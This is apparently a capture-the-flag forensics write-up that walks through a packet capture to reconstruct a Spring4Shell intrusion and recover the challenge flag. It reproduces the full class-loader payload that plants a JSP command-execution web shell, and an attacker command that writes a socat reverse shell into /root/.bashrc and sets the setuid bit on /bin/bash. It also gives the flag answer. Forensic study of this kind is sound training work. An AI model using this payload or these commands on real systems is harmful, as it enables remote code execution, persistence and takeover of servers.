Wrong Spooky Season

“I told them it was too soon and in the wrong season to deploy such a website, but they assured me that theming it properly would be enough to stop the ghosts from haunting us. I was wrong.” Now there is an internal breach in the Spooky Network and you need to find out what happened. Analyze the the network traffic and find how the scary ghosts got in and what they did.

Difficulty: Easy

2MB

forensics_wrong_spooky_season.zip

archive

Open

Let's check file

┌──(kali㉿kali)-[~/Desktop/HackTheBoo/Wrong-Spooky-Season]
└─$ file forensics_wrong_spooky_season.zip 
forensics_wrong_spooky_season.zip: Zip archive data, at least v2.0 to extract, compression method=deflate
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~/Desktop/HackTheBoo/Wrong-Spooky-Season]
└─$ unzip forensics_wrong_spooky_season.zip 
Archive:  forensics_wrong_spooky_season.zip
  inflating: capture.pcap            
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~/Desktop/HackTheBoo/Wrong-Spooky-Season]
└─$ file capture.pcap                     
capture.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 262144)

We have pcap file!

Use Wireshark open it.

We have a lot of TCP and HTTP protocol. Let's check it

Filter HTTP, We can see ip.src = 192.168.1.180 (Attacker) sent a POST request

Follow TCP stream we can see the URLencoded:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=e4d1c32a56ca15b3&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

Use CyberChef decode this

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{prefix}i java.io.InputStream in = %{c}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } %{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=e4d1c32a56ca15b3&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

Check google I know it is a Spring4Shell

In this packet, Hacker is installing socat in the victim system and use reverse shell

echo 'socat TCP:192.168.1.180:1337 EXEC:sh' > /root/.bashrc && echo "==gC9FSI5tGMwA3cfRjd0o2Xz0GNjNjYfR3c1p2Xn5WMyBXNfRjd0o2eCRFS" | rev > /dev/null && chmod +s /bin/bash

In this we can see base64 encode so suspicious, check it

import base64
a = "==gC9FSI5tGMwA3cfRjd0o2Xz0GNjNjYfR3c1p2Xn5WMyBXNfRjd0o2eCRFS"[::-1]
print(base64.b64decode(a))

We got flag:

HTB{j4v4_5pr1ng_just_b3c4m3_j4v4_sp00ky!!}